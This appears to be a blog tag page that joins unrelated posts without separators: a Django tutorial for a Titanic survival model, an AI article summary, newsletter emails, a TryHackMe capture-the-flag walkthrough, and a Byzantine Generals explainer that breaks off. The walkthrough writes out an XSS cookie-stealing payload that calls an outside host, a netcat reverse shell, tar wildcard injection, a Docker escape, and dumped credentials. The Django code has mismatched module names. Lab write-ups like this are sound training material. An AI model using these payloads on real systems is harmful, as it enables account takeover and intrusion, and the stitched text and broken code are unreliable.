Tag: Programming

Deploying a Machine Learning model as a web application makes it easy for others with little or no programming experience to use it.

In previous tutorials, where I explained how I created a house price prediction app and a loan eligibility app, we made use of Streamlit. Streamlit is easy to use. This is why it is a popular choice for data scientists.

In a world where learning one framework isn’t enough, won’t it be nice to learn how to accomplish this using Django?

Understandably, Django can be tough for beginners. The only remedy though is constant practice. If you have been going through some of my tutorials on Django, there is no doubt that you have become familiar with the process.

Therefore, in this tutorial, we will add to your knowledge by creating a machine learning application using Django. Guess what we will used for prediction? The famous Titanic dataset!

Developing Machine Learning Model

The Machine Learning classification problem aims to predict the survival of the passengers based on their attributes. There are multiple steps involved in creating a Machine Learning model. To keep things simple, we will skip those steps and focus on showing how to implement Machine Learning in Django.

Create a folder for this project. Then, inside the folder, create a file named model.py. This is where we will develop our model. You can download the dataset on my GitHub page.

import pandas as pd
import numpy as np
from sklearn.model_selection import train_test_split
from sklearn.preprocessing import MinMaxScaler
from sklearn.linear_model import LogisticRegression
import pickle df = pd.read_csv('titanic.csv', index_col=0) # selecting the features we need
df = df[['Pclass', 'Sex', 'Age', 'SibSp', 'Parch', 'Fare', 'Embarked', 'Survived']] # encoding the column to a numberic value
df['Sex'] = df['Sex'].map({'male': 0, 'female': 1}) # converting the Age column to numberic type
df['Age'] = pd.to_numeric(df.Age) # filling the null values
df['Age'] = df.Age.fillna(np.mean(df.Age)) # creating additional features from Embarked columns after converting to dummy variables
dummies = pd.get_dummies(df.Embarked)
df = pd.concat([df, dummies], axis=1)
df.drop(['Embarked'], axis=1, inplace=True) X = df.drop(['Survived'], axis=1)
y = df['Survived'] # scaling the features
scaler = MinMaxScaler(feature_range=(0,1))
X_scaled = scaler.fit_transform(X) model = LogisticRegression(C=1)
model.fit(X_scaled, y) # saving model as a pickle
pickle.dump(model, open('titanic.pkl', 'wb'))
pickle.dump(scaler, open('scaler.pkl', 'wb'))

After importing the CSV file, we saw that there are missing values in the features selected. We simply fill them up with the mean of the values. We convert the Embarked column to a dummy variable. Then, we add them to the features.

We are using LogisticRegression as the Machine Learning algorithm to make this prediction. Finally, we save the model as a pickle object to be used later.

Creating Django Project

As covered in previous tutorials, the steps to set up a new Django project are as follows:

• create and activate a virtual environment
• install required libraries
• create a new Django project which we will call predictions
• create a requirements.txt file
• create a new app called titanic
• perform a migration to set up the database
• update settings.py

$ python3 -m venv venv
$ source venv/bin/activate
(venv) $ pip install django tzdata scikit-learn pandas numpy
(venv) $ pip freeze > requirements.txt
(venv) $ django-admin startproject venv_predictions .
(venv) $ python manage.py startapp titanic
(venv) $ python manage.py migrate
(venv) $ python manage.py runserver

The (venv) indicates that you are in the virtual environment. Don’t forget to include the dot which signifies creating the project in the current directory. You will see the image below if everything was installed successfully.

Open the settings.py file to let Django know that a new app is created. We will do so in the INSTALLED_APP section.

INSTALLED_APPS = [ 'django.contrib.admin', 'django.contrib.auth', 'django.contrib.contenttypes', 'django.contrib.sessions', 'django.contrib.messages', 'django.contrib.staticfiles', # custom app 'titanic',
]

Let’s configure the URLs for our website. Open the urls.py in the project folder and make it appear like this:

from django.contrib import admin
from django.urls import path, include urlpatterns = [ path('admin/', admin.site.urls), path('', include('titanic.urls')),
]

Let’s now configure the URLs for the app. Create a urls.py in the app folder.

from django.urls import path
from .views import home, result urlpatterns = [ path('', home, name='home'), path('result/', result, name='result'),
]

Let’s create another file in the app folder named predict.py. This is where we will use the pickled files to make predictions.

import pickle def getPrediction(pclass, sex, age, sibsp, parch, fare, C, Q, S): model = pickle.load(open('titanic.pkl', 'rb')) scaled = pickle.load(open('scaler.pkl', 'rb')) transform = scaled.transform([[pclass, sex, age, sibsp, parch, fare, C, Q, S]]) prediction = model.predict(transform) return 'Not Survived' if prediction == 0 else 'Survived' if prediction == 1 else 'error'

The function contains the exact number of features used to train the model.

Notice we first transform the values the user will input on the web page. Since the trained model was transformed, we have to do the same to any values the user enters. Finally, we return the results based on the prediction.

Alright, let’s head over to the views.py file in the app folder.

from django.shortcuts import render
from .prediction import getPrediction # Create your views here.
def home(request): return render(request, 'home.html') def result(request): pclass = int(request.GET['pclass']) sex = int(request.GET['sex']) age = int(request.GET['age']) sibsp = int(request.GET['sibsp']) parch = int(request.GET['parch']) fare = int(request.GET['fare']) embC = int(request.GET['embC']) embQ = int(request.GET['embQ']) embS = int(request.GET['embS']) result = getPrediction(pclass, sex, age, sibsp, parch, fare, embC, embQ, embS) return render(request, 'result.html', {'result': result})

The home() function simply renders the home.html which contains the form where our users will input some details. Then the result() function will get those details, make predictions, and renders the prediction result.

Notice that we made sure every detail corresponds to the features used in training the model.

The final step is templates. Create a folder bearing the name. Make sure you are doing so in the current directory. Then register it in the settings.py file.

TEMPLATES = [ { 'BACKEND': 'django.template.backends.django.DjangoTemplates', 'DIRS': [os.path.join(BASE_DIR, 'templates')], # add these 'APP_DIRS': True, 'OPTIONS': { 'context_processors': [ 'django.template.context_processors.debug', 'django.template.context_processors.request', 'django.contrib.auth.context_processors.auth', 'django.contrib.messages.context_processors.messages', ], }, },
]

Don’t forget to import the required module. Inside the templates folder, create a home.html file.

<!DOCTYPE html>
<html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>Home</title> </head> <body> <h1 style= “color:blue”>Titanic Survival Prediction</h1> <form action="{% url 'result' %}"> {% csrf_token %} <p>Passenger Class:</p> <input type="text" name="pclass"> <br> <p>Sex:</p> <input type="text" name="sex"> <br> <p>Age:</p> <input type="text" name="age"> <br> <p>Sibsp:</p> <input type="text" name="sibsp"> <br> <p>Parch:</p> <input type="text" name="parch"> <br> <p>Fare:</p> <input type="text" name="fare"> <br> <p>Embark Category C:</p> <input type="text" name="embC"> <br> <p>Embark Category Q:</p> <input type="text" name="embQ"> <br> <p>Embark Category S:</p> <input type="text" name="embS"> <br> <input type="submit" value='Predict'> </form> </body>
</html>

This syntax "{% url 'result' %}" is Django templating language. It’s a link to the result.html. Remember the name argument in the path() function in urls.py? That is another way to refer to the result.html URL. The csrf_token is for security reasons. It’s mandatory when a form is created.

Can you now see it’s from this form we get those names in the result() function? It is here that the data will be collected and sent to the result() function which processes the data, makes predictions, and displays the result in the result.html.

We now create the result.html file in the templates folder.

<!DOCTYPE html>
<html lang="en" dir="ltr"> <head> <meta charset="utf-8"> <title>Result</title> </head> <body> <h1 style=“color:blue”>Prediction</h1> <p>Verdict: {{ result }} </p> </body>
</html>

It’s very simple. The {{ result }} is a variable that will be rendered to this web page. Go back to your result() function to recall if you have forgotten.

That’s it. We are done. Thanks for staying with me so far in this tutorial. Let’s check what we have done. Run the local server.

That is the home page. Everything in the form is displayed. Enter details and make predictions. Remember, only numbers will be in the form. If you are lost, check the dataset using Pandas.

If you encounter an error saying, “No such file or directory: 'titanic.pkl'”, you may have to manually run the model.py to generate the file.

Recommended: 5 Minutes to Pandas

Conclusion

Congratulations!! You are not only a data scientist but also a Django developer.

In this tutorial, we performed Machine Learning using Logistic Regression.

We demonstrated how to implement it using Django.

Exercise: As an assignment, can you use what you have learned to make predictions on the iris dataset, the hello world of data science? Give it a try using Django.

You are welcome.

This article summarizes Bill Gates’ article on “The Age of AI has begun” but focuses on the most important ideas for ease and speed of reading. I left the overall structure intact but reduced the text by approximately 70%.

Time savings with average reading speed: 9 minutes.

---

In the article, Bill Gates shared his thoughts on the revolutionary potential of artificial intelligence (AI) and its potential to address global inequities.

Gates compared the impact of AI to the invention of the graphical user interface in 1980, a critical turning point for modern computing.

He was astonished by OpenAI’s GPT model, which managed to score a 5 on an AP Biology exam, a remarkable feat that showcased its potential.

Gates believes that AI will transform how people work, learn, travel, receive healthcare, and communicate, with entire industries reorienting around it. He sees AI as a tool to reduce the world’s worst inequities, especially in health, education, and climate change.

Regarding global health, Gates envisions AI could help save the lives of millions of children who die each year from preventable causes. In the US, AI could be instrumental in improving education, particularly in boosting math skills for underprivileged students. Finally, AI could contribute to climate change solutions, given that the world’s poorest populations, who did the least to cause the problem, are the most affected.

Gates acknowledges that AI raises concerns around workforce displacement, privacy, bias, and other issues. However, he emphasizes the importance of governments and philanthropy in ensuring that AI reduces inequity

Artificial Intelligence

Artificial intelligence (AI) refers to models designed for specific tasks or services, like ChatGPT, while artificial general intelligence (AGI) is a software capable of learning any task or subject. AGI doesn’t exist yet, and its creation is still debated within the computing industry.

AI development has been a long-standing dream, and with machine learning and increased computing power, sophisticated AI is now a reality. The growth of AI will likely accelerate, similar to the rapid expansion of the software industry during the early days of personal computing. As more attention turns to AI, innovations will come faster, eventually making the pre-AI era seem like a distant memory.

Productivity

AI, like GPT, can help automate various tasks in jobs such as sales, service, or document handling, making work more efficient.

AI integrated into products like Microsoft Office will enhance tasks like writing emails and managing inboxes. Eventually, computers will be controlled using plain language rather than pointing and clicking.

This is what I found most exciting in the whole article:

AI advances will enable the creation of personal agents or digital personal assistants, streamlining scheduling, communications, and e-commerce across all devices. Company-wide agents will empower employees, making them more productive by providing relevant information and insights.

Increased productivity from AI can benefit society by freeing people up for tasks requiring human touch, such as teaching or patient care. Governments should help workers transition into new roles to address the changes brought by AI. By targeting global health and education, AI can help reduce inequity and address areas with significant needs.

Health

AI has the potential to significantly improve healthcare and the medical field. It can assist healthcare workers with tasks like paperwork, insurance claims, and drafting notes, increasing efficiency. In poor countries, AI can help health workers become more productive and enable patients to perform basic triage and seek appropriate treatment.

AI models in poor countries will need to be adapted for different diseases, languages, and challenges. Although AI adoption may take longer in healthcare due to necessary testing and regulation, AI can still significantly benefit the sector.

AI will also accelerate medical breakthroughs by analyzing large amounts of biological data, helping design drugs, and predicting side effects. The Gates Foundation aims to use AI tools to address health problems affecting the world’s poorest people, such as AIDS, TB, and malaria.

Additionally, AI-generated insights can improve agriculture in poor countries by developing better seeds, advising farmers, and creating drugs and vaccines for livestock. As climate change increasingly impacts subsistence farmers, AI-driven advances become even more crucial.

Education

While computers have not yet revolutionized education as hoped, AI-driven software in the next five to 10 years has the potential to transform teaching and learning.

AI can tailor content based on a student’s interests and learning style, provide immediate feedback, and assist teachers and administrators with tasks like assessing understanding and career planning.

Despite the potential of AI, learning will still rely on strong relationships between students and teachers. Ensuring that AI tools are available to low-income schools and training AI on diverse data sets to avoid bias is crucial.

Educators are already adapting to AI technologies, such as GPT, in their classrooms. While concerns about students using AI to write essays persist, some teachers have found ways to incorporate the technology into their teaching, such as using AI-generated drafts that students then personalize.

Risks and problems with AI

Current AI models have limitations, such as struggling with context and abstract reasoning, but these issues are expected to be largely fixed within a few years. There are non-technical concerns, like the potential misuse of AI and the possibility of AI running out of control.

However, recent AI advancements have not made these concerns more urgent.

Superintelligent AI, or artificial general intelligence (AGI), could be a profound change in the future, raising questions about its goals, potential conflicts with humanity’s interests, and whether its development should be prevented. Although AI has become more human-like in expression, it does not indicate meaningful independence.

Gates Book Tips: Three influential books on AI—Superintelligence by Nick Bostrom, Life 3.0 by Max Tegmark, and A Thousand Brains by Jeff Hawkins—provide thought-provoking perspectives on the subject, even if they don’t always agree with each other or the reader.

Next Frontiers

The future of AI will see an explosion of companies working on new uses and improvements in the technology, with advancements in both hardware and software. The development of specialized AIs and artificial general intelligence will be competitive areas.

The public discussion surrounding AI should be guided by three principles:

1. Balance fears about AI’s downsides with its potential to improve lives while guarding against risks and spreading benefits widely.
2. Governments and philanthropy should ensure AI reduces inequity, as market forces may not naturally produce AI products and services that help the poorest.
3. Recognize that AI’s limitations will be overcome, and this new technology can help people improve their lives globally.

The Age of AI presents opportunities and responsibilities, requiring rules to ensure AI’s benefits outweigh its downsides and are accessible to everyone, regardless of location or wealth.

Recommended: 7 Effective Prompting Tricks for ChatGPT

Once upon a time, I was a distributed systems researcher specializing in graph partitioning algorithms. Those were thrilling days, though I must admit I didn’t enjoy the daily commute and the time away from my family.

During that period, I delved deep into classic distributed systems conundrums like the Byzantine Generals Problem. When I discovered that Bitcoin—a peer-to-peer monetary system—offered a practical solution, I was excited.

My colleagues and I would spend hours over lunch breaks dissecting and discussing this groundbreaking resolution.

If you’re curious about this captivating problem and its ingenious solution, don’t miss today’s Finxter blog tutorial:

[Blog] How Bitcoin Solves the Byzantine Generals Problem

It’s a remarkable technical triumph that proves no challenge is insurmountable for dedicated and driven individuals. Just look at the success of Bitcoin—an anonymous coder created the 21st most capitalized currency in the world!

In the world of tech, we witness an ongoing battle between two formidable forces:

Giant 1 – Leviathan. This force represents the powerful centralization trends and winner-take-most economies in the tech and machine learning industries. Think big tech, big government, and big brother—those with the best data sets win.

---

Giant 2 – Atomos. This symbolizes the ever-strengthening decentralized infrastructures and systems, such as Bitcoin and decentralized social networks like PeerBrain. Atomos represents everyday coders like you and me. Derived from the ancient Greek word for “uncuttable” or “indivisible,” Atomos signifies the countless small, independent entities in a decentralized system.

---

I’m thankful for recent advancements in AI, as they’ll propel humanity toward hyper-efficiency and uncharted heights. Yet, I also appreciate the existence of counterbalancing forces like the indomitable Atomos, redistributing power from the few back to the many.

Decentralized money, energy production, and social networks are just the beginning of this promising trend, and its potential is immense!

If you’re eager to contribute to the growth of Atomos, consider checking out the Uniswap Automated Finance for Blockchain Engineers course. While the Ethereum ecosystem isn’t entirely decentralized yet, it could be—and that would serve as an effective countermeasure to centralized platforms.

We need more builders!

“A democracy is only as resilient as its people. An informed and engaged citizenry is the bedrock of a healthy democracy.”

The same holds true for decentralization!

To your success!
Chris

---

This email was part of our free email academy for exponential technologies. To stay ahead of the curve and remain on the right side of change, join our free email academy by downloading your cheat sheets for learning here:

Here’s the drumbeat they’ve been pounding in your ears 24/7:

AIs will take your job, your income, your livelihood, your purpose, and eventually your life.

I assume you belong to either Group A or Group B:

• Group A: If you’ve already made enough money to retire (unlikely), you are thinking of ways to invest to benefit from the exponential revolutions of decentralized P2P deflationary money, smart contracts, self-driving cars, precision fermentation, solar energy, humanoid robots, and ChatGPT. More on this later.
• Group B: In the more likely case that you haven’t yet made enough money to invest and ride off into the sunset with your exponentially-growing investments, you’re probably experiencing some serious existential crises these days.

And I have to say, worrying about your future is understandable because you will either become irrelevant without purpose ( Group A) or lose your livelihood and job ( Group B).

So what can you do?

First, don’t panic.

Second, take a deep breath and open your mind. Disruption means opportunity. Disruption means opportunity. (After me…) “DISRUPTION MEANS OPPORTUNITY!”

Third, it is time to be bold. Imagine you’re in the midst of the 20th-century exponential disruption moving society away from horse carriages and into cars. The number of cars on the road increased exponentially, and in 13 short years, most jobs in the horse carriage maintenance business were gone for good.

You had two sensible choices: double down on horse carriage (ALL IN!) and prepare for lean years before it may get better, or accept and move on to new ventures .

Both have a good chance of working.

But here’s what will not work for sure. Yet, it is the road most traveled:

Remain in the middle, i.e., staying in the “horse carriage business”, lukewarm, not doubling down but doing so-so work, and doubting your decision on a daily basis.

Here’s the main takeaway of today’s email: don’t be this guy.

The new Finxter motto is “Be on the Right Side of Change!” To help you with this, we create and publish these emails, blogs, and courses on the Finxter Academy.

For instance, we have courses on smart contract development (soon it’ll take off again ), ChatGPT, Python and visualization, web projects, and we add new courses every couple of weeks. All of our courses concern exponential technologies and have downloadable PDF certificates to showcase your employer or freelance client.

If you feel overwhelmed and sad, don’t be. You have full control of the trajectory of your life. You are the captain of your own ship! You can start your own business, use ChatGPT to satisfy clients’ needs in minutes, break out of the boring world your environment has put you in.

This email aims to give you hope and permission to try out new and unconventional ways to approach life. I’ve always advocated that the old ways will not work forever. Don’t take your parents’ advice (or even mine) because they would’ve told you the world market for computers is a couple of dozens, Bitcoin is stupid internet money (at $1/BTC), and solar energy cannot power the world.

Break things. You don’t want to be conventional in the exponential age!

To your success!
Chris

---

This email was written at 21th of March 2023 to the Finxter email academy (free newsletter). You can signup here or by downloading the cheat sheets:

CHALLENGE OVERVIEW

• Link: https://tryhackme.com/room/marketplace
• Difficulty: Medium
• Target: flag 1, user.txt, root.txt
• Highlight: cookie thievery to become admin on a website
• Tools: cookie heist, sqlmap, docker
• Tags: web, xss, docker, sqli, tar wildcard exploit

BACKGROUND

In this box, we are tasked with pen-testing an internal server to check for bugs before releasing it to the public. Judging by the tags on this box, we will execute some cross-site scripting and pull off a bit of SQL command injection. Let’s get started!

ENUMERATION/RECON

export myIP=10.10.129.195

export targetIP=10.10.163.156

Info: The walkthrough video includes several target IPs because I had to switch to the in-browser attack box part of the way through. I’m not sure why, but my VPN VM had serious stability issues with the target IP.

So far, we know that the sysadmin’s name is Michael. Maybe that will be a username.

NMAP RESULTS

nmap -A -p- 10.10.28.52
Starting Nmap 7.92 ( https://nmap.org ) at 2023-03-02 08:33 EST
Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 10.33% done; ETC: 08:37 (0:04:03 remaining)
Nmap scan report for 10.10.28.52
Host is up (0.085s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: | 2048 c8:3c:c5:62:65:eb:7f:5d:92:24:e9:3b:11:b5:23:b9 (RSA)
| 256 06:b7:99:94:0b:09:14:39:e1:7f:bf:c7:5f:99:d3:9f (ECDSA)
|_ 256 0a:75:be:a2:60:c6:2b:8a:df:4f:45:71:61:ab:60:b7 (ED25519)
80/tcp open http nginx 1.19.2
| http-robots.txt: 1 disallowed entry |_/admin
|_http-server-header: nginx/1.19.2
|_http-title: The Marketplace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 238.51 seconds

WALK THE WEBSITE

We gather that this website is a storefront with a login page. We can easily create a new user and post a new item. Let’s check if this new item might be able to run a script on the user who views it.

COMMAND INJECTION PROOF OF CONCEPT

<script>hello there</script>

It works. Let’s use this to set up a script that will send us the admin’s cookie when they visit this item’s page.

USING COOKIE HEIST TO STEAL THE ADMIN’S COOKIE

To save a bit of time from scripting our own cookie-stealing program, let’s grab CookieHeist from the Git repo.

Next, we’ll set up a simple HTTP server with python3 to serve the cookieheist PHP script

python3 -m http.server

And start our listener to catch the stolen cookie.

nc -lnvp 8888

Now that everything is in place, we can test our script by visiting the item’s page. On our listener, we catch our own token.

Now we will click on the report item button. The admin should visit the page soon and then our heist will hopefully work as planned and the admin’s cookie will be sent to us on the listener.

It worked! Let’s copy the token value below. Next, we’ll prepare to use sqlmap to dump the database.

SWAP THE COOKIES AND SWITCH TO ADMIN’S ACCOUNT

In our firefox browser, we can now log into ben’s account, and, in the developer tab, navigate to storage and cookies. Simply switch out the cookies and hit reload, and you will discover a new administration panel with users and our first flag!

DUMP THE DATABASE WITH SQLMAP

Next let’s do some local enumeration with sqlmap. We will use the admin’s cookie again in our command.

sqlmap http://10.10.197.89/admin?user=3 --cookie='token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsInVzZXJuYW1lIjoibWljaGFlbCIsImFkbWluIjp0cnVlLCJpYXQiOjE2Nzc4NTczMjN9.DcEFxcLEnU7NUtNJEseq70na-gkRdEXtqkOLhGzZxVU' --technique=U --delay=3 -dump

*The –delay=3 helps us evade some data protections in place that crash sqlmap before it can extract anything.

 ___ __H__ ___ ___[(]_____ ___ ___ {1.6.11#stable}
|_ -| . ['] | .'| . |
|___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 05:40:00 /2023-03-03/ Cookie parameter 'token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] [05:40:12] [INFO] testing connection to the target URL
[05:40:15] [INFO] checking if the target is protected by some kind of WAF/IPS
[05:40:21] [INFO] heuristic (basic) test shows that GET parameter 'user' might be injectable (possible DBMS: 'MySQL')
[05:40:24] [INFO] testing for SQL injection on GET parameter 'user'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for o
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n] [05:40:59] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[05:41:02] [WARNING] reflective value(s) found and filtering out
[05:41:08] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[05:41:20] [INFO] target URL appears to have 4 columns in query
[05:42:12] [WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'suspicious' requests
[05:42:12] [CRITICAL] connection timed out to the target URL. sqlmap is going to retry the request(s)
[05:43:51] [CRITICAL] connection timed out to the target URL
[05:43:57] [INFO] GET parameter 'user' is 'Generic UNION query (NULL) - 1 to 10 columns' injectable
[05:43:57] [INFO] checking if the injection point on GET parameter 'user' is a false positive sqlmap identified the following injection point(s) with a total of 24 HTTP(s) requests:
---
Parameter: user (GET) Type: UNION query Title: Generic UNION query (NULL) - 4 columns Payload: user=-5573 UNION ALL SELECT NULL,CONCAT(0x716a707871,0x736d5764774f6e48726c4a5579484373776c426e42494c6c58486379764f5a4a4d484e4f47546e53,0x71626a7071),NULL,NULL-- -
---
[05:47:20] [INFO] testing MySQL
[05:47:23] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
[05:48:00] [INFO] confirming MySQL
[05:48:06] [INFO] the back-end DBMS is MySQL
web application technology: Express, Nginx 1.19.2
back-end DBMS: MySQL >= 8.0.0
[05:48:21] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[05:48:21] [INFO] fetching current database
[05:48:24] [INFO] fetching tables for database: 'marketplace'
[05:48:28] [INFO] fetching columns for table 'users' in database 'marketplace'
[05:48:31] [INFO] fetching entries for table 'users' in database 'marketplace'
Database: marketplace
Table: users
[4 entries]
+----+--------------------------------------------------------------+----------+-----------------+
| id | password | username | isAdministrator |
+----+--------------------------------------------------------------+----------+-----------------+
| 1 | $2b$10$83pRYaR/d4ZWJVEex.lxu.Xs1a/TNDBWIUmB4z.R0DT0MSGIGzsgW | system | 0 |
| 2 | $2b$10$yaYKN53QQ6ZvPzHGAlmqiOwGt8DXLAO5u2844yUlvu2EXwQDGf/1q | michael | 1 |
| 3 | $2b$10$/DkSlJB4L85SCNhS.IxcfeNpEBn.VkyLvQ2Tk9p2SDsiVcCRb4ukG | jake | 1 |
| 4 | $2b$10$UP9S8hhGQ4oam6K0iK35Ke.TLTN/fXWhj/Ak/MvnkUw1XksDWH9py | ben | 0 |
+----+--------------------------------------------------------------+----------+-----------------+ [05:48:34] [INFO] table 'marketplace.users' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89/dump/marketplace/users.csv'
[05:48:34] [INFO] fetching columns for table 'items' in database 'marketplace'
[05:48:37] [INFO] fetching entries for table 'items' in database 'marketplace'
[05:48:40] [INFO] recognized possible password hashes in column 'image'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] y
[05:48:49] [INFO] writing hashes to a temporary file '/tmp/sqlmapsc6t_j_x87459/sqlmaphashes-ro5_o25b.txt' do you want to crack them via a dictionary-based attack? [Y/n/q] n
Database: marketplace
Table: items
[3 entries]
+----+----------------------------------+--------------------------------------------------------------------------------------------------------+--------+-----------------------+
| id | image | title | author | description |
+----+----------------------------------+--------------------------------------------------------------------------------------------------------+--------+-----------------------+
| 1 | 867a9d1a2edc2995dca4b13de50fc545 | Dell Laptop | 2 | Good as new. |
| 2 | abffe546fb4cb740cc6b44f9e4c263df | A cactus | 3 | Yep, that's a cactus. |
| 3 | 598815c0f5554115631a3250e5db1719 | <script>document.location="http://10.6.2.23:8000/cookiesteal-simple.php?c=" + document.cookie</script> | 4 | d |
+----+----------------------------------+--------------------------------------------------------------------------------------------------------+--------+-----------------------+ [05:48:59] [INFO] table 'marketplace.items' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89/dump/marketplace/items.csv'
[05:48:59] [INFO] fetching columns for table 'messages' in database 'marketplace'
[05:49:02] [INFO] fetching entries for table 'messages' in database 'marketplace'
Database: marketplace
Table: messages
[3 entries]
+----+---------+---------+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| id | is_read | user_to | user_from | message_content |
+----+---------+---------+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| 1 | 1 | 3 | 1 | Hello!\r\nAn automated system has detected your SSH password is too weak and needs to be changed. You have been generated a new temporary password.\r\nYour new password is: @b_ENXkGYUCAv3zJ |
| 2 | 1 | 4 | 1 | Thank you for your report. One of our admins will evaluate whether the listing you reported breaks our guidelines and will get back to you via private message. Thanks for using The Marketplace! |
| 3 | 0 | 4 | 1 | Thank you for your report. We have reviewed the listing and found nothing that violates our rules. |
+----+---------+---------+-----------+---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+ [05:49:05] [INFO] table 'marketplace.messages' dumped to CSV file '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89/dump/marketplace/messages.csv'
[05:49:05] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 10 times
[05:49:05] [INFO] fetched data logged to text files under '/home/kalisurfer/.local/share/sqlmap/output/10.10.197.89' [*] ending @ 05:49:05 /2023-03-03/

The info in bold above shows credentials for jake (user 3). Let’s try using these credentials to log in via SSH. jake:@b_ENXkGYUCAv3zJ

INITIAL FOOTHOLD

We are in as Jake! And we found the user flag!

LOCAL RECON

First, let’s check our sudo permissions with sudo -l

jake@the-marketplace:/home/marketplace$ sudo -l
Matching Defaults entries for jake on the-marketplace: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User jake may run the following commands on the-marketplace: (michael) NOPASSWD: /opt/backups/backup.sh

Let’s try to switch users to michael by leveraging the file backup.sh and our special sudo permissions to run it as user michael.

First let’s examine the code.

jake@the-marketplace:/opt/backups$ cat backup.sh

Output:

#!/bin/bash
echo "Backing up files...";
tar cf /opt/backups/backup.tar *

As we can see, the backup.sh script activates a tarball with a wildcard to copy everything in the directory. We can exploit this by adding empty files with filenames that resemble flags on the command backup.tar to bypass some checkpoints.

TARBALL WILDCARD EXPLOIT

1. First, let’s create a reverse shell and copy it to the /opt/backups directory.

echo "mkfifo /tmp/gdsio; nc 10.10.163.156 8888 0</tmp/gdsio | /bin/sh >/tmp/gdsio 2>&1; rm /tmp/gdsio" > shell.sh

2. Create an empty file instructing tar to run the shell.sh file.

echo "" > "--checkpoint-action=exec=sh shell.sh"

3. Create a second empty file to spoof the checkpoint 1 being reached.

echo "" > --checkpoint=1

4. Let’s setup a Netcat listener on our attack machine to grab the reverse shell.

nc -lnvp 8888

5. Activate the exploit by running backup.sh as user Michael with sudo.

sudo -u michael ./opt/backups/backup.sh

EXPLOIT

MAKE USE OF THE GTFObins ALPINE EXPLOIT

Now that we have caught the revshell as Michael, let’s poke around the filesystem a bit more.

We can see that we are running docker. We’ll have to break out of the docker container in order to catch our root flag. GTFObins suggests leveraging alpine to escape the container.

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

FINAL THOUGHTS

In this box, the cookie-stealing technique showed how it is sometimes possible for malicious actors to gain quick access to another user’s or even an admin’s account on a website without even needing to know their password.

To me, this was the most impressive take-away from the box.

Overview

Picture a mighty city, surrounded by a bunch of Byzantine generals , trying to unite and plan an epic attack! But oh no! Some of these generals might be traitors , who’ll backstab the others and ruin the plan. They need a foolproof way to agree on a battle strategy while handling these sneaky tricksters.

This dilemma isn’t just for ancient generals, it’s also super relevant in computer networks called distributed systems. These networks have many participants, or “nodes” , who need to agree on something (like data) in a process called consensus. But some nodes might be mischievous , spreading false info to confuse others.

To solve this, we need a system that allows all honest nodes to reach the same decision, even if there are cheeky liars in the mix! The solution should be fault-tolerant, meaning that it keeps working even if some nodes are not playing nice.

Now let’s bring in our digital superhero, Bitcoin! It swoops in with its magical power called Proof of Work (PoW) . Miners (the network’s participants) go head-to-head in a crazy math puzzle race . Whoever wins gets to add a new block of transactions to the super secure public diary called the blockchain .

PoW makes it super expensive for the bad guys to control the network, because they would need a whole lotta computing power . So, the honest nodes prevail, and consensus is achieved!

To sum it up, the Byzantine Generals Problem is all about getting everyone on the same page , even when some sneaky snakes are trying to cause chaos. Bitcoin’s Proof of Work saves the day, ensuring that everyone can trust the system and have a rockin’ good time!

The Byzantine Generals Problem

Imagine a bunch of Byzantine generals surrounding a city, trying to decide when to attack . They need to attack together to win, but oh no! Some of them might be traitors . So, how can they agree on when to strike without a trustworthy central party?

The Byzantine Generals Problem is a challenge faced in distributed systems where nodes (or participants) need to agree on a specific action or piece of information (called consensus) while accounting for the possibility of some nodes being faulty or malicious. The problem is named after the analogy of Byzantine generals planning an attack on a city, who need to coordinate their actions without falling victim to traitors within their ranks.

Let’s look at some example scenarios:

1⃣ Scenario 1: The Disobedient General Imagine there are three Byzantine generals, A, B, and C. They need to decide whether to attack (1) or retreat (0). A and B are loyal, and they decide to attack (1). C, however, is a traitor and wants to cause confusion. C sends different messages to A and B, telling A to attack (1) and B to retreat (0). In this case, A and B receive contradicting information and cannot reach consensus. The attack fails because of the lack of coordination.

2⃣ Scenario 2: The Traitorous Messenger In this scenario, there are three loyal generals, A, B, and C, and a treacherous messenger, M. The generals agree to attack (1) and send their decisions through messenger M. However, M wants to sabotage the attack. M delivers the correct message (1) to general A, but changes the message to retreat (0) for general B. The generals receive conflicting information, leading to a failed consensus and a botched attack.

